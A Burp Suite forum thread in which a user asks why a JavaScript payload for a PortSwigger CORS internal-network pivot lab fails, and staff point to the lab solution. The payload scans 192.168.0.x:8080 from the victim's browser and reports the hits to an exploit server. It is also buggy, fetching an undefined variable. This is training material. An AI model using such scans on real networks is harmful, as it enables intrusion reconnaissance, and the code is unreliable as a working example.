Burp Suite User Forum

Create new post

Lab: CORS vulnerability with internal network pivot attack

Tarun | Last updated: May 06, 2021 06:21PM UTC

Hii, I am trying to solve the cors lab (https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack) . The first step in lab is to locate the ip address of the endpoint by scanning local network (192.168.0.0/24, port 8080) and then craft the payload . I am using following payload to deliver to victim in lab But this is not working when i test same payload in my local network with appropriate changes it works!! . Am i doing something wrong ? please help me out . <html> <body> <h2>Lab!!</h2> <script> url = 'http://192.168.0.' for(let j=1;j<255;j++){ let turl = url+j+":8080"; let xhr= new XMLHttpRequest(); xhr.open('GET',turl,true); if(xhr.readyState == 4){ xhr.onloadend = function(){ if(xhr.status != null){ let poc = "http://ac671f121e1c8d1580a8335d0146000c.web-security-academy.net/address="+j; fetch(loc); // this will be seen in access log of exploit server } } } try { xhr.send(null); } catch (error) { console.error(error) } xhr = null; } </script> </body> </html>

Hannah, PortSwigger Agent | Last updated: May 07, 2021 03:48PM UTC

Hi Have you tried following the written lab solution, or a video solution for the lab? This is a good video solution of the lab: https://www.youtube.com/watch?v=o9aTBjZSoEE

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.